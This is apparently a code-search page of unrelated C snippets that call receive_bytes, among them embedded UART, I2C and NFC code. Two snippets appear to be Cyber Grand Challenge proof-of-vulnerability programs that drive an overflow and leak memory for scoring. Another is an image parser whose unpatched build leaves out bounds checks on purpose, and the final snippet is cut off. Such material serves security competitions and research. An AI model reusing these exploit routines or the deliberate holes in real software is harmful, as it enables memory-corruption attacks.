Beispiel #1
0
/* Gets a command from the given window and stores it
 * in the given buffer.
 * Returns 1 on success, 0 on EOF or error
 */
int get_command(Window *window, char *command) {
	int clen;
	if(receive_bytes(window->cs_fd, (char *)&clen, sizeof(int)) != sizeof(int)) {
		if(errno)
			perror("receive_bytes");
		else
			fprintf(stderr, "receive_bytes: Unexpected EOF\n");

		return 0;
	}

	if(clen == 0)  // EOF
		return 0;

	if(receive_bytes(window->cs_fd, command, clen) != clen) {
		if(errno)
			perror("receive_bytes");
		else
			fprintf(stderr, "receive_bytes: Unexpected EOF\n");

		return 0;
	}

	return 1; // Success
}
Beispiel #2
0
void get_bytes(unsigned char *buf, unsigned int num){
	if (receive_bytes(buf, num) == -1){
		_terminate(-1);
	}

	return;
}
Beispiel #3
0
//!	Combined i2c send+receive format
status_t
i2c_send_receive(const i2c_bus *bus, int slaveAddress, const uint8 *writeBuffer,
	size_t writeLength, uint8 *readBuffer, size_t readLength)
{
	status_t status = send_start_condition(bus);
	if (status != B_OK)
		return status;

	status = send_slave_address(bus, slaveAddress, true);
	if (status != B_OK)
		goto err;

	status = send_bytes(bus, writeBuffer, writeLength);
	if (status != B_OK)
		goto err;

	status = send_start_condition(bus);
	if (status != B_OK)
		return status;

	status = send_slave_address(bus, slaveAddress, false);
	if (status != B_OK)
		goto err;

	status = receive_bytes(bus, readBuffer, readLength);
	if (status != B_OK)
		goto err;

	return send_stop_condition(bus);

err:
	TRACE("%s: Cancelling transmission\n", __func__);
	send_stop_condition(bus);
	return status;
}
Beispiel #4
0
void PORT_PLAIN::flush(void) {
    std::vector<unsigned char> message;

    if (message.size() > 0) {
        receive_bytes(message);
    }
}
Beispiel #5
0
OSStatus platform_uart_receive_bytes( platform_uart_driver_t* driver, uint8_t* data_in, uint32_t expected_data_size, uint32_t timeout_ms )
{
  OSStatus err = kNoErr;

  //platform_mcu_powersave_disable();

  require_action_quiet( ( driver != NULL ) && ( data_in != NULL ) && ( expected_data_size != 0 ), exit, err = kParamErr);

  mico_rtos_get_semaphore( &driver->rx_complete, 0 );

  if ( driver->rx_buffer != NULL)
  {
    while ( expected_data_size != 0 )
    {
      uint32_t transfer_size = MIN( driver->rx_buffer->size / 2, expected_data_size );

        /* Set rx_size and wait in rx_complete semaphore until data reaches rx_size or timeout occurs */
        driver->last_receive_result = kNoErr;
        driver->rx_size             = transfer_size;
      
      /* Check if ring buffer already contains the required amount of data. */
      if ( transfer_size > ring_buffer_used_space( driver->rx_buffer ) )
      {
        err = mico_rtos_get_semaphore( &driver->rx_complete, timeout_ms );

        /* Reset rx_size to prevent semaphore being set while nothing waits for the data */
        driver->rx_size = 0;

        if( err != kNoErr )
          goto exit;
      }else {
        driver->rx_size = 0;
      }
      err = driver->last_receive_result;
      expected_data_size -= transfer_size;
      
      // Grab data from the buffer
      do
      {
        uint8_t* available_data;
        uint32_t bytes_available;
        
        ring_buffer_get_data( driver->rx_buffer, &available_data, &bytes_available );
        bytes_available = MIN( bytes_available, transfer_size );
        memcpy( data_in, available_data, bytes_available );
        transfer_size -= bytes_available;
        data_in = ( (uint8_t*) data_in + bytes_available );
        ring_buffer_consume( driver->rx_buffer, bytes_available );
      } while ( transfer_size != 0 );
    }
  }
  else
  {
    err = receive_bytes( driver, data_in, expected_data_size, timeout_ms );
  }
exit:
  //platform_mcu_powersave_enable();
  return err;
}
Beispiel #6
0
uint16_t read_short()
{
	uint16_t val;
	//size_t rx;

	//if ( receive( STDIN, &val, sizeof(val), &rx ) != 0 ) 
	if (receive_bytes( (uint8_t*)&val, sizeof(val) ) != 2 )
	{
        return 0;
    }
    return val;
}
Beispiel #7
0
uint8_t SHA204I2C::receive_response(uint8_t size, uint8_t *response) {
	if (DEBUG()>=DEBUG_INFO)  {Serial.println(F("* DEBUG * receive_response()")); Serial.flush();}
	if (DEBUG()>=DEBUG_TRACE) {Serial.print(F("* DEBUG * size = "));Serial.println(size);Serial.flush();}
	uint8_t count;
	uint8_t i2c_status;

	// Receive count byte.
	i2c_status = receive_byte(response);
	if (DEBUG()>=DEBUG_TRACE) {Serial.print(F("* DEBUG * receive_response() receive count byte i2c_status = "));Serial.println(i2c_status);Serial.flush();}
	if (DEBUG()>=DEBUG_TRACE) {Serial.print(F("* DEBUG * receive_response() count byte content = "));Serial.println(response[0]);Serial.flush();}

	if (i2c_status != I2C_FUNCTION_RETCODE_SUCCESS) {
		if (DEBUG()>=DEBUG_WARN)  {Serial.print(F("* DEBUG * receive_response() FAIL 1, i2c_status{1} = "));Serial.println(i2c_status,HEX);Serial.flush();}
		return SHA204_COMM_FAIL;
	}

  	//#define SHA204_BUFFER_POS_COUNT      (0)  //!< buffer index of count byte in command or response
	//#define SHA204_BUFFER_POS_STATUS     (1)  //! buffer index of status byte in status response
	//#define SHA204_BUFFER_POS_DATA       (1)  //! buffer index of first data byte in data response

	count = response[SHA204_BUFFER_POS_COUNT];
	if ((count < SHA204_RSP_SIZE_MIN) || (count > size)) {
		if (DEBUG()>=DEBUG_WARN)  {Serial.print(F("* DEBUG * receive_response() FAIL 2, read count size invalid, count = "));Serial.println(count);Serial.flush();}
		if (DEBUG()>=DEBUG_WARN)  {Serial.print(F("* DEBUG * size = "));Serial.println(size);Serial.flush();}
		return SHA204_INVALID_SIZE;
	}

	i2c_status = receive_bytes(count - 1, &response[SHA204_BUFFER_POS_DATA]);

	if (i2c_status != I2C_FUNCTION_RETCODE_SUCCESS) {
  if (DEBUG()>=DEBUG_WARN)  {Serial.print(F("* DEBUG * receive_response() FAIL 3, i2c_status{1} = "));Serial.println(i2c_status,HEX);Serial.flush();}
		return SHA204_COMM_FAIL;
	}

	return SHA204_SUCCESS;
}
Beispiel #8
0
OSStatus platform_uart_init( platform_uart_driver_t* driver, const platform_uart_t* peripheral, const platform_uart_config_t* config, ring_buffer_t* optional_ring_buffer )
{
    DMA_InitTypeDef   dma_init_structure;
    USART_InitTypeDef uart_init_structure;
    uint32_t          uart_number;
    OSStatus          err = kNoErr;

    platform_mcu_powersave_disable();

    require_action_quiet( ( driver != NULL ) && ( peripheral != NULL ) && ( config != NULL ), exit, err = kParamErr);
    require_action_quiet( (optional_ring_buffer == NULL) || ((optional_ring_buffer->buffer != NULL ) && (optional_ring_buffer->size != 0)), exit, err = kParamErr);

    uart_number = platform_uart_get_port_number( peripheral->port );

    driver->rx_size              = 0;
    driver->tx_size              = 0;
    driver->last_transmit_result = kNoErr;
    driver->last_receive_result  = kNoErr;
    driver->peripheral           = (platform_uart_t*)peripheral;
#ifndef NO_MICO_RTOS
    mico_rtos_init_semaphore( &driver->tx_complete, 1 );
    mico_rtos_init_semaphore( &driver->rx_complete, 1 );
    mico_rtos_init_semaphore( &driver->sem_wakeup,  1 );
    mico_rtos_init_mutex    ( &driver->tx_mutex );
#else
    driver->tx_complete = false;
    driver->rx_complete = false;
#endif

    /* Configure TX and RX pin_mapping */
    platform_gpio_set_alternate_function( peripheral->pin_tx->port, peripheral->pin_tx->pin_number, GPIO_OType_PP, GPIO_PuPd_NOPULL, uart_alternate_functions[ uart_number ] );
    platform_gpio_set_alternate_function( peripheral->pin_rx->port, peripheral->pin_rx->pin_number, GPIO_OType_PP, GPIO_PuPd_NOPULL, uart_alternate_functions[ uart_number ] );

    if ( ( peripheral->pin_cts != NULL ) && ( config->flow_control == FLOW_CONTROL_CTS || config->flow_control == FLOW_CONTROL_CTS_RTS ) )
    {
        platform_gpio_set_alternate_function( peripheral->pin_cts->port, peripheral->pin_cts->pin_number, GPIO_OType_PP, GPIO_PuPd_NOPULL, uart_alternate_functions[ uart_number ] );
    }

    if ( ( peripheral->pin_rts != NULL ) && ( config->flow_control == FLOW_CONTROL_RTS || config->flow_control == FLOW_CONTROL_CTS_RTS ) )
    {
        platform_gpio_set_alternate_function( peripheral->pin_rts->port, peripheral->pin_rts->pin_number, GPIO_OType_PP, GPIO_PuPd_NOPULL, uart_alternate_functions[ uart_number ] );
    }

#ifndef NO_MICO_RTOS
    if(config->flags & UART_WAKEUP_ENABLE) {
        mico_rtos_init_semaphore( driver->sem_wakeup, 1 );
        mico_rtos_create_thread(NULL, MICO_APPLICATION_PRIORITY, "UART_WAKEUP", thread_wakeup, 0x100, driver);
    }
#endif

    /* Enable UART peripheral clock */
    uart_peripheral_clock_functions[ uart_number ]( uart_peripheral_clocks[ uart_number ], ENABLE );

    uart_init_structure.USART_Mode       = USART_Mode_Rx | USART_Mode_Tx;
    uart_init_structure.USART_BaudRate   = config->baud_rate;
    uart_init_structure.USART_WordLength = ( ( config->data_width == DATA_WIDTH_9BIT ) || ( ( config->data_width == DATA_WIDTH_8BIT ) && ( config->parity != NO_PARITY ) ) ) ? USART_WordLength_9b : USART_WordLength_8b;
    uart_init_structure.USART_StopBits   = ( config->stop_bits == STOP_BITS_1 ) ? USART_StopBits_1 : USART_StopBits_2;

    switch ( config->parity )
    {
    case NO_PARITY:
        uart_init_structure.USART_Parity = USART_Parity_No;
        break;

    case EVEN_PARITY:
        uart_init_structure.USART_Parity = USART_Parity_Even;
        break;

    case ODD_PARITY:
        uart_init_structure.USART_Parity = USART_Parity_Odd;
        break;

    default:
        err = kParamErr;
        goto exit;
    }

    switch ( config->flow_control )
    {
    case FLOW_CONTROL_DISABLED:
        uart_init_structure.USART_HardwareFlowControl = USART_HardwareFlowControl_None;
        break;

    case FLOW_CONTROL_CTS:
        uart_init_structure.USART_HardwareFlowControl = USART_HardwareFlowControl_CTS;
        break;

    case FLOW_CONTROL_RTS:
        uart_init_structure.USART_HardwareFlowControl = USART_HardwareFlowControl_RTS;
        break;

    case FLOW_CONTROL_CTS_RTS:
        uart_init_structure.USART_HardwareFlowControl = USART_HardwareFlowControl_RTS_CTS;
        break;

    default:
        err = kParamErr;
        goto exit;
    }


    /* Initialise USART peripheral */
    USART_DeInit( peripheral->port );
    USART_Init( peripheral->port, &uart_init_structure );

    /**************************************************************************
    * Initialise STM32 DMA registers
    * Note: If DMA is used, USART interrupt isn't enabled.
    **************************************************************************/
    /* Enable DMA peripheral clock */
    if ( peripheral->tx_dma_config.controller == DMA1 )
    {
        RCC->AHB1ENR |= RCC_AHB1Periph_DMA1;
    }
    else
    {
        RCC->AHB1ENR |= RCC_AHB1Periph_DMA2;
    }

    /* Fill init structure with common DMA settings */
    dma_init_structure.DMA_PeripheralInc   = DMA_PeripheralInc_Disable;
    dma_init_structure.DMA_MemoryInc       = DMA_MemoryInc_Enable;
    dma_init_structure.DMA_Priority        = DMA_Priority_VeryHigh;
    dma_init_structure.DMA_FIFOMode        = DMA_FIFOMode_Disable;
    dma_init_structure.DMA_FIFOThreshold   = DMA_FIFOThreshold_Full;
    dma_init_structure.DMA_MemoryBurst     = DMA_MemoryBurst_Single;
    dma_init_structure.DMA_PeripheralBurst = DMA_PeripheralBurst_Single;

    if ( config->data_width == DATA_WIDTH_9BIT )
    {
        dma_init_structure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_HalfWord;
        dma_init_structure.DMA_MemoryDataSize     = DMA_MemoryDataSize_HalfWord;
    }
    else
    {
        dma_init_structure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_Byte;
        dma_init_structure.DMA_MemoryDataSize     = DMA_MemoryDataSize_Byte;
    }

    /* Initialise TX DMA */
    DMA_DeInit( peripheral->tx_dma_config.stream );
    dma_init_structure.DMA_Channel            = peripheral->tx_dma_config.channel;
    dma_init_structure.DMA_PeripheralBaseAddr = (uint32_t) &peripheral->port->DR;
    dma_init_structure.DMA_Memory0BaseAddr    = (uint32_t) 0;
    dma_init_structure.DMA_DIR                = DMA_DIR_MemoryToPeripheral;
    dma_init_structure.DMA_BufferSize         = 0xFFFF;                     // This parameter will be configured during communication
    dma_init_structure.DMA_Mode               = DMA_Mode_Normal;
    DMA_Init( peripheral->tx_dma_config.stream, &dma_init_structure );

    /* Initialise RX DMA */
    DMA_DeInit( peripheral->rx_dma_config.stream );
    dma_init_structure.DMA_Channel            = peripheral->rx_dma_config.channel;
    dma_init_structure.DMA_PeripheralBaseAddr = (uint32_t) &peripheral->port->DR;
    dma_init_structure.DMA_Memory0BaseAddr    = (uint32_t) 0;
    dma_init_structure.DMA_DIR                = DMA_DIR_PeripheralToMemory;
    dma_init_structure.DMA_BufferSize         = 0xFFFF;                     // This parameter will be configured during communication
    dma_init_structure.DMA_Mode               = DMA_Mode_Normal;
    DMA_Init( peripheral->rx_dma_config.stream, &dma_init_structure );

    /**************************************************************************
    * Initialise STM32 DMA interrupts
    **************************************************************************/

    /* Configure TX DMA interrupt on Cortex-M3 */
    NVIC_EnableIRQ( peripheral->tx_dma_config.irq_vector );

    /* Enable TC (transfer complete) and TE (transfer error) interrupts on source */
    clear_dma_interrupts( peripheral->tx_dma_config.stream, peripheral->tx_dma_config.complete_flags | peripheral->tx_dma_config.error_flags );
    DMA_ITConfig( peripheral->tx_dma_config.stream, DMA_INTERRUPT_FLAGS, ENABLE );

    /* Enable USART interrupt vector in Cortex-M3 */
    NVIC_EnableIRQ( uart_irq_vectors[uart_number] );
    USART_DMACmd( driver->peripheral->port, USART_DMAReq_Tx, DISABLE );

    /* Enable USART */
    USART_Cmd( peripheral->port, ENABLE );

    /* Enable both transmit and receive */
    peripheral->port->CR1 |= USART_CR1_TE;
    peripheral->port->CR1 |= USART_CR1_RE;

    /* Setup ring buffer */
    if ( optional_ring_buffer != NULL )
    {
        /* Note that the ring_buffer should've been initialised first */
        driver->rx_buffer = optional_ring_buffer;
        driver->rx_size   = 0;
        receive_bytes( driver, optional_ring_buffer->buffer, optional_ring_buffer->size, 0 );
    }
    else
    {
        /* Not using ring buffer. Configure RX DMA interrupt on Cortex-M3 */
        NVIC_EnableIRQ( peripheral->rx_dma_config.irq_vector );

        /* Enable TC (transfer complete) and TE (transfer error) interrupts on source */
        clear_dma_interrupts( peripheral->rx_dma_config.stream, peripheral->rx_dma_config.complete_flags | peripheral->rx_dma_config.error_flags );
        DMA_ITConfig( peripheral->rx_dma_config.stream, DMA_INTERRUPT_FLAGS, ENABLE );
    }

exit:
    MicoMcuPowerSaveConfig(true);
    return err;
}
Beispiel #9
0
/* Creates a window with the given title
 * If script is not NULL, the corresponding file
 * will be used as input.  Otherwise, the window
 * will accept user input from stdin.
 */
Window *window_new(char *title, char *script) {
	static long long uid = -1;
	static int window_count = 0;

	if(uid == -1) {
		uid = (long long) time(NULL);
		if(uid == -1) {
			perror("time");
			return NULL;
		}
	}

	Window *window = (Window *)malloc(sizeof(Window));

	if(!window) {
		perror("malloc");
		return NULL;
	}

	if(window_count >= 1000000) {  // Not likely to occur
		fprintf(stderr, "Could not create FIFO name\n");
		free(window);
		return NULL;
	}

	// Generate unique-ish file names
	// 32 = 9 for "/tmp/xxxx" + 16 digits for id + 6 digits for count + 1
	char cs_name[32];
	char sc_name[32];
	sprintf(cs_name, "/tmp/dbcs%016llx%6d", uid, window_count);
	sprintf(sc_name, "/tmp/dbsc%016llx%6d", uid, window_count);

	window_count++;

	// Create FIFOs
	unlink(cs_name);
	if(mkfifo(cs_name, 0600)==-1) {
		perror("mkfifo");
		free(window);
		return NULL;
	}

	unlink(sc_name);
	if(mkfifo(sc_name, 0600)==-1) {
		perror("mkfifo");
		free(window);
		return NULL;
	}

	// Create child process to run xterm
	pid_t pid = fork();
	if(pid==-1) {
		perror("fork");
		free(window);
		return NULL;
	} else if(pid==0) {
		// Launch xterm in child
		char *args[] = {"/usr/bin/xterm", "-T", title, "-n", title, "-ut",
					 "-geometry", "35x20", "-e", INTERFACE_EXEC, sc_name,
					 cs_name, script, NULL};
		execv(args[0], args);

		// The execv() call failed.  Take evasive action.
		perror("execv");

		int sc_fd = open(sc_name, O_RDONLY);
		int cs_fd = open(cs_name, O_WRONLY);

		pid_t fpid = 0;
		send_bytes(cs_fd, (char *)(&fpid), sizeof(pid_t));

		close(sc_fd);
		close(cs_fd);

		exit(1);
	} else {
		window->xpid = pid;

		// Open FIFOs (this will block until both ends are open)
		int sc_fd = open(sc_name, O_WRONLY);
		int cs_fd = open(cs_name, O_RDONLY);

		// Unlink FIFOs so they will be deleted on exit
		unlink(sc_name);
		unlink(cs_name);

		if (sc_fd == -1 || cs_fd == -1) {
			perror("open");

			// Terminate child process
			kill(pid, SIGTERM);
			waitpid(pid, NULL, 0);

			// Close FIFOs if open
			if(sc_fd != -1)
				close(sc_fd);
			if(cs_fd != -1)
				close(cs_fd);

			free(window);
			return NULL;
		} else {
			window->sc_fd = sc_fd;
			window->cs_fd = cs_fd;
		}

		// Get interface PID
		if(receive_bytes(cs_fd, (char *)(&(window->ipid)), sizeof(pid_t)) != sizeof(pid_t)) {
			if(errno)
				perror("receive_bytes");
			else
				fprintf(stderr, "receive_bytes: Unexpected EOF\n");

			// Terminate child process
			kill(pid, SIGTERM);
			waitpid(pid, NULL, 0);

			// Close FIFOs if open
			close(sc_fd);
			close(cs_fd);

			free(window);
			return NULL;
		}

		if(!window->ipid) {
			fprintf(stderr, "Child process failed\n");

			// Wait for child process to terminate
			waitpid(pid, NULL, 0);

			// Close FIFOs if open
			close(sc_fd);
			close(cs_fd);

			free(window);
			return NULL;
		}
	}

	return window;
}
Beispiel #10
0
int main(void)
{

char buffer[1024];
int i;

int pov_type;
unsigned int type2_addr;
unsigned int type2_length;
unsigned int type2_size;
unsigned int new_offset_value;

int retcode;
unsigned int userCode;
unsigned int postID;

	// negotiate a type 2 POV
	pov_type = 2;

	if (write(3, &pov_type, sizeof(pov_type)) == -1)
		_terminate(-1);

	if (receive_bytes(3, &type2_addr, sizeof(type2_addr)) == -1)
		_terminate(-1);

	if (receive_bytes(3, &type2_size, sizeof(type2_size)) == -1)
		_terminate(-1);

	if (receive_bytes(3, &type2_length, sizeof(type2_length)) == -1)
		_terminate(-1);


	*(unsigned int *)buffer = 0xa0;

	buffer[4] = 5;

	for (i=5; i < 149; ++i )
		buffer[i] = 'a';

	buffer[10] = 1;

	buffer[12] = 138;

	buffer[149] = 2;
	buffer[150] = 1;


	// send the message to add the user
	write(STDOUT, (void *)buffer, 151);

	receive_bytes(STDIN, &retcode, 4);

	if (retcode != 0) {

		printf("something is wrong\n");
		_terminate(-1);
	}

	buffer[12] = 1;

	// now add a bunch of users to move the read pointer of the file mapped to the magic page towards the end
	for (i = 0; i < 180; ++i ) {

		sprintf(buffer+7, "$03d", i);
		buffer[10] = 1;

		write(STDOUT, (void *)buffer, 14);

		receive_bytes(STDIN, &retcode, 4);

		if (retcode != 0) {

			printf("something is wrong\n");
			_terminate(-1);
		}
	}

	// now login as the first user
	buffer[0] = 0xb0;
	buffer[4] = 5;

	for (i=5; i < 12; ++i )
		buffer[i] = 'a';

	buffer[10] = 1;

	// send the message to login the user
	write(STDOUT, (void *)buffer, 12);

	// need to save the returned userCode for making posts
	receive_bytes(STDIN, &userCode, 4);


	// time to make a first post
	buffer[0] = 0xd0;

	*(unsigned int *)(buffer+4) = userCode;

	// short n sweet message
	buffer[8] = 1;
	buffer[9] = 'a';

	// send the message to make a post
	write(STDOUT, (void *)buffer, 10);

	// return code is the post's ID
	receive_bytes(STDIN, &postID, 4);


	// now make a comment on the post
	buffer[0] = 0xe0;

	*(unsigned int *)(buffer+4) = postID;
	*(unsigned int *)(buffer+8) = userCode;

	buffer[12] = 1;
	buffer[13] = 'b';

	write(STDOUT, (void *)buffer, 14);

	// get the response to the comment
	receive_bytes(STDIN, &retcode, 4);

	if (retcode != 0 ) {

		write(2, "comment error\n", 14);
	}

	// now request the specific message to get its comments, which should cause the overflow
	buffer[0] = 0xf0;

	*(unsigned int *)(buffer+4) = postID;

	write(STDOUT, (void *)buffer, 8);


	// receive the first part of the response
	receive_bytes(STDIN, buffer, 43);

	retcode = 0x8a;
	// now receive the length of the commenter's name.  If its only 30 bytes, then this is the patched binary
	receive_bytes(STDIN, &retcode, 4);

	if ( retcode == 0x8a ) {

		write(2, "exploited", 9);
		receive_bytes(STDIN, buffer, 0x8a+5+8+8);
		receive_bytes(STDIN, buffer, 54);
	}
	else {

		write(2, "patched binary\n", 15);
	}

	// now write the returned data back to the POV server for scoring
	write(3, buffer+50, 4);

	// send the command to exit the CB
	write(STDOUT, "exit", 4);

}
int
main (int argc, char *argv[])
{
    // Try to open the NFC reader
    pnd = nfc_connect (NULL);

    if (pnd == NULL) {
        ERR("Unable to connect to NFC device");
        return EXIT_FAILURE;
    }

    printf ("Connected to NFC device: %s\n", pnd->acName);
    printf ("Emulating NDEF tag now, please touch it with a second NFC device\n");

    nfc_target_t nt = {
        .nm.nmt = NMT_ISO14443A,
        .nm.nbr = NBR_UNDEFINED, // Will be updated by nfc_target_init()
        .nti.nai.abtAtqa = { 0x00, 0x04 },
        .nti.nai.abtUid = { 0x08, 0x00, 0xb0, 0x0b },
        .nti.nai.btSak = 0x20,
        .nti.nai.szUidLen = 4,
        .nti.nai.szAtsLen = 0,
    };

    if (!nfc_target_init (pnd, &nt, abtRx, &szRx)) {
        nfc_perror (pnd, "nfc_target_init");
        ERR("Could not come out of auto-emulation, no command was received");
        return EXIT_FAILURE;
    }

    if (!quiet_output) {
        printf ("Received data: ");
        print_hex (abtRx, szRx);
    }

//Receiving data: e0  40
//= RATS, FSD=48
//Actually PN532 already sent back the ATS so nothing to send now
    receive_bytes();
//Receiving data: 00  a4  04  00  06  e1  03  e1  03  e1  03
//= App Select by name "e103e103e103"
    send_bytes((const byte_t*)"\x6a\x87",2);
    receive_bytes();
//Receiving data: 00  a4  04  00  06  e1  03  e1  03  e1  03
//= App Select by name "e103e103e103"
    send_bytes((const byte_t*)"\x6a\x87",2);
    receive_bytes();
//Receiving data: 00  a4  04  00  07  d2  76  00  00  85  01  00
//= App Select by name "D2760000850100"
    send_bytes((const byte_t*)"\x90\x00",2);
    receive_bytes();
//Receiving data: 00  a4  00  00  02  e1  03
//= Select CC
    send_bytes((const byte_t*)"\x90\x00",2);
    receive_bytes();
//Receiving data: 00  b0  00  00  0f
//= ReadBinary CC
//We send CC + OK
    send_bytes((const byte_t*)"\x00\x0f\x10\x00\x3b\x00\x34\x04\x06\xe1\x04\x0e\xe0\x00\x00\x90\x00",17);
    receive_bytes();
//Receiving data: 00  a4  00  00  02  e1  04
//= Select NDEF
    send_bytes((const byte_t*)"\x90\x00",2);
    receive_bytes();
//Receiving data: 00  b0  00  00  02
//=  Read first 2 NDEF bytes
//Sent NDEF Length=0x21
    send_bytes((const byte_t*)"\x00\x21\x90\x00",4);
    receive_bytes();
//Receiving data: 00  b0  00  02  21
//= Read remaining of NDEF file
    send_bytes((const byte_t*)"\xd1\x02\x1c\x53\x70\x91\x01\x09\x54\x02\x65\x6e\x4c\x69\x62\x6e\x66\x63\x51\x01\x0b\x55\x03\x6c\x69\x62\x6e\x66\x63\x2e\x6f\x72\x67\x90\x00",35);

    nfc_disconnect(pnd);
    exit (EXIT_SUCCESS);
}
Beispiel #12
0
int main(int cgc_argc, char *cgc_argv[]) {

unsigned ret_code;
unsigned short SOM;
unsigned short marker;
unsigned short segment_size;
unsigned short tagMark;
unsigned short byte_align;    
unsigned char *tiff_header;
unsigned char *xif_data;
void *tmp_ptr;
void *gps_info_ptr;
unsigned offset;
TIFF_Hdr_Type *tiff_hdr;
IFD_Type *IFD;
IFD_Type *xif_ifd_ptr;
unsigned char *endofsegment_ptr;

int i;


    swap_short = 0;
    swap_word = 0;

    // cgc_read the first two bytes and check for the Start of Message marker
    ret_code = receive_bytes((unsigned char *)&SOM, sizeof(SOM));

    if (ret_code == -1 ) {

        cgc_printf("did not receive bytes\n");
        _terminate(-1);
    }

    if (SOM != 0xFFF8) {

        puts("Did not find SOM marker");
        _terminate(-1);
    }
    else {

        puts("SOM marker found");
    }

    // Now look for the next marker, which can be SAP0 or SAP1 
    ret_code = receive_bytes((unsigned char *)&marker, sizeof(marker));

    if (ret_code == -1 ) {

        cgc_printf("did not receive bytes\n");
        _terminate(-1);
    }

    // SAP0
    if (marker == 0xFFF0) {

        cgc_printf("SAP0 marker found\n");

        ret_code = receive_bytes((unsigned char *)&segment_size, sizeof(segment_size));

        if (ret_code == -1 ) {

            cgc_printf("did not receive bytes\n");
            _terminate(-1);
        }

        if (segment_size <=2) {

            cgc_printf("Invalid segment size\n", segment_size);
            _terminate(-1);
        }


        // now cgc_read and discard the rest of the SAP0 header
        xif_data = malloc(segment_size-sizeof(segment_size));

        if ((int)xif_data == 0) {

            cgc_printf("Unable to allocate memory\n");
            _terminate(-1);
        }

        // cgc_read the rest of SAP0 and discard
        ret_code=receive_bytes((unsigned char *)xif_data, segment_size-sizeof(segment_size));

        if (ret_code == -1) {

            cgc_printf("unable to read SAP0 segment\n");
            _terminate(-1);
        }

        free(xif_data);
        xif_data = 0;

        // now cgc_read the next marker, which should be SAP1
        ret_code = receive_bytes((unsigned char *)&marker, sizeof(marker));

        if (ret_code == -1 ) {

            cgc_printf("did not receive bytes\n");
            _terminate(-1);
        }

    } // SAP0 header

    // look for the SAP1 marker now
    if (marker != 0xffF1) {

        cgc_printf("Did not find SAP1 marker\n");
        _terminate(-1);

    }
    else {

        cgc_printf("SAP1 marker found\n");

    }

    // cgc_read the length of the overall segment
    ret_code = receive_bytes((unsigned char *)&segment_size, sizeof(segment_size));

    if (ret_code == -1 ) {

        cgc_printf("did not receive bytes\n");
        _terminate(-1);
    }

    cgc_printf("sizeof section is @d\n", segment_size);

    if (segment_size <= 0) {

        cgc_printf("Invalid segment size\n");
        _terminate(-1);
    }
    
    xif_data = malloc(segment_size);

    if ((int)xif_data == 0) {

        cgc_printf("Unable to allocate memory\n");
        _terminate(-1);
    }

    ret_code=receive_bytes((unsigned char *)xif_data, segment_size);

    if (ret_code == -1) {

        cgc_printf("unable to read SAP1 segment\n");
        _terminate(-1);
    }

    // tiff header + xif header + the count of IFD segments
    if (segment_size < sizeof(TIFF_Hdr_Type) + 6 + 2) {

        cgc_printf("not enough data received\n");
        _terminate(-1);
    }

    tiff_hdr = (TIFF_Hdr_Type *)(xif_data+6);

    endofsegment_ptr = (unsigned char *)xif_data + segment_size;

    if (tiff_hdr->Byte_Order == 0x4949) {

        cgc_printf("Intel formatted integers\n");

        swap_short = intel_swap_short;
        swap_word = intel_swap_word;
    }

    else if (tiff_hdr->Byte_Order == 0x4d4d) {

        cgc_printf("Motorola formatted integers\n");

        swap_short = motorola_swap_short;
        swap_word = motorola_swap_word;
    }
#ifdef PATCHED
    else {
        cgc_printf("Invalid header values\n");
        _terminate(-1);
    }
#endif

    cgc_printf("TagMark = @x\n", swap_short(tiff_hdr->Fixed));

    offset = swap_word(tiff_hdr->Offset_to_IFD);

    cgc_printf("Offset = @x\n", swap_word(tiff_hdr->Offset_to_IFD));

    if (offset > segment_size) {

        cgc_printf("Invalid offset\n");
        _terminate(-1);
    }

    IFD = (void *)(tiff_hdr) + swap_word(tiff_hdr->Offset_to_IFD);


    // how many array entries are there
    IFD->Count = swap_short(IFD->Count);

    cgc_printf("# of compatility arrays: @d\n", IFD->Count);

    if (IFD->Count * 12 > segment_size - sizeof(TIFF_Hdr_Type) - 6 - 2) {

        cgc_printf("Invalid number of IFD entries\n");
        _terminate(-1);
    }

    // loop through all of the entries in the array
    for (i=0; i< (IFD->Count); ++i) {

        cgc_printf("Tag: @x (", swap_short(IFD->Entry[i].Tag));
        print_tag_text(swap_short(IFD->Entry[i].Tag));
        cgc_printf(")\n");
        cgc_printf("Type: @x (", swap_short(IFD->Entry[i].Type));
        print_type(swap_short(IFD->Entry[i].Type));
        cgc_printf(")\n");
        cgc_printf("Count: @d\n", swap_word(IFD->Entry[i].Count));

        if (swap_short(IFD->Entry[i].Type) == 2) {

            if (swap_word(IFD->Entry[i].Value) < segment_size - 8 && swap_word(IFD->Entry[i].Value) > 0)
#ifdef PATCHED
		{
		if ( cgc_strlen( (char *)(tiff_hdr) + swap_word(IFD->Entry[i].Value)) > 2048) {
			((char *)(tiff_hdr))[swap_word(IFD->Entry[i].Value)+2048] = '\x00';
		}
#endif
                cgc_printf("Value: @s\n", (char *)(tiff_hdr) + swap_word(IFD->Entry[i].Value));
#ifdef PATCHED
		}
#endif

            else

                cgc_printf("Value: 0\n");
        }
        else {

             cgc_printf("Value: @u\n", swap_word(IFD->Entry[i].Value));

        }

        if (swap_short(IFD->Entry[i].Tag) == 0x8825) {

            gps_info_ptr = (void *)tiff_hdr + swap_word(IFD->Entry[i].Value);

            process_gps_ifd(gps_info_ptr, tiff_hdr, segment_size, endofsegment_ptr);

        }
        else if (swap_short(IFD->Entry[i].Tag) == 0x8769) {

            xif_ifd_ptr = (void *)tiff_hdr + swap_word(IFD->Entry[i].Value);

            process_xif_ifd(xif_ifd_ptr, tiff_hdr, segment_size, endofsegment_ptr);

        }
    }
 
    puts("Finished processing");

}  // main  
Beispiel #13
0
int main(void)
{

char buffer[100];
int i;
unsigned char byteval;
int pov_type;
unsigned int type2_addr;
unsigned int type2_length;
unsigned int type2_size;
unsigned int new_offset_value;
int count;

	// negotiate a type 2 POV
	pov_type = 2;

	if (write(3, &pov_type, sizeof(pov_type)) == -1)
		_terminate(-1);

	if (receive_bytes(3, &type2_addr, sizeof(type2_addr)) == -1)
		_terminate(-1);

	if (receive_bytes(3, &type2_size, sizeof(type2_size)) == -1)
		_terminate(-1);

	if (receive_bytes(3, &type2_length, sizeof(type2_length)) == -1)
		_terminate(-1);

	// get the welcome string
	receive_bytes(STDIN, buffer, 36);

    receive_bytes(STDIN, buffer, 6);

    write(STDOUT, "huesped\n", 8);

    receive_bytes(STDIN, buffer, 10);

    write(STDOUT, "madera\n", 7);

    receive_bytes(STDIN, buffer, 15);

	// get the menu
	receive_bytes(STDIN, buffer, 76);
	
	// goto word maintenance
	write(STDOUT, "3\n", 2);

	// maintenance menu
	receive_bytes(STDIN, buffer, 86);

	// first delete any existing words in the database

